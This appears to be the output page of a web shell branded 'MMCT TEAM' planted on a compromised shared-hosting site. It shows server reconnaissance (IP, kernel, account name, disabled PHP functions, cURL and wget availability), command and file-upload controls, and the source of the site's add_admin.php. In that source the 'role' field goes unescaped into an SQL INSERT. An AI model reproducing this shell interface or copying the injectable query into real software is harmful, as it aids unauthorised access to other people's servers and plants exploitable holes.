MMCT TEAM
Server IP : 2a02:4780:2b:1556:0:9c6:43c4:d  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u163988420 ( 163988420)
PHP Version : 8.5.4
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u163988420/domains/../domains/acmajmer.in/public_html/AACSITE/../AACSITE/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u163988420/domains/../domains/acmajmer.in/public_html/AACSITE/../AACSITE/admin/add_admin.php
<?php
include("../includes/auth.php");
include("../includes/db.php");

if (!isset($_SESSION['admin'])) {
    header("Location: login.php");
    exit;
}

/*
|--------------------------------------------------------------------------
| Only Super Admin Can Access
|--------------------------------------------------------------------------
*/

if ($_SESSION['admin_role'] != "super_admin") {
?>
    <!DOCTYPE html>
    <html>

    <head>

        <title>Access Restricted</title>

        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">

    </head>

    <body>

        <div class="container-fluid">

            <div class="row">

                <div class="col-md-2 p-0">

                    <?php include("navbar.php"); ?>

                </div>

                <div class="col-md-10 p-5">

                    <div class="alert alert-danger">

                        <h3>Access Restricted</h3>

                        <p>

                            Only the <strong>Super Admin</strong> can access this page.

                        </p>

                        <a href="dashboard.php" class="btn btn-primary">

                            Back to Dashboard

                        </a>

                    </div>

                </div>

            </div>

        </div>

    </body>

    </html>

<?php
    exit;
}

if (isset($_POST['submit'])) {

    $fullname = mysqli_real_escape_string($conn, $_POST['fullname']);
    $username = mysqli_real_escape_string($conn, $_POST['username']);
    $role = $_POST['role'];

    $password = password_hash(
        $_POST['password'],
        PASSWORD_DEFAULT
    );

    $sql = "INSERT INTO admins
            (fullname,username,password,role)
            VALUES
            ('$fullname','$username','$password','$role')";

    mysqli_query($conn, $sql);

    header("Location: manage_admin.php");
    exit;
}
?>

<!DOCTYPE html>
<html>

<head>

    <title>Add Admin</title>

    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">

</head>

<body>

    <div class="container-fluid">

        <div class="row">

            <div class="col-md-2 p-0">

                <?php include("navbar.php"); ?>

            </div>

            <div class="col-md-10 p-4">

                <h2>Add Admin</h2>

                <form method="POST">

                    <div class="mb-3">

                        <label>Full Name</label>

                        <input
                            type="text"
                            name="fullname"
                            class="form-control"
                            required>

                    </div>

                    <div class="mb-3">

                        <label>Username</label>

                        <input
                            type="text"
                            name="username"
                            class="form-control"
                            required>

                    </div>

                    <div class="mb-3">

                        <label>Password</label>

                        <input
                            type="password"
                            name="password"
                            class="form-control"
                            required>

                    </div>

                    <div class="mb-3">

                        <label>Role</label>

                        <select
                            name="role"
                            class="form-select"
                            required>

                            <option value="admin">

                                Admin

                            </option>

                            <option value="super_admin">

                                Super Admin

                            </option>

                        </select>

                    </div>

                    <button
                        type="submit"
                        name="submit"
                        class="btn btn-primary">

                        Save Admin

                    </button>

                    <a href="manage_admin.php" class="btn btn-secondary">

                        Cancel

                    </a>

                </form>

            </div>

        </div>

    </div>

</body>

</html>

MMCT - 2023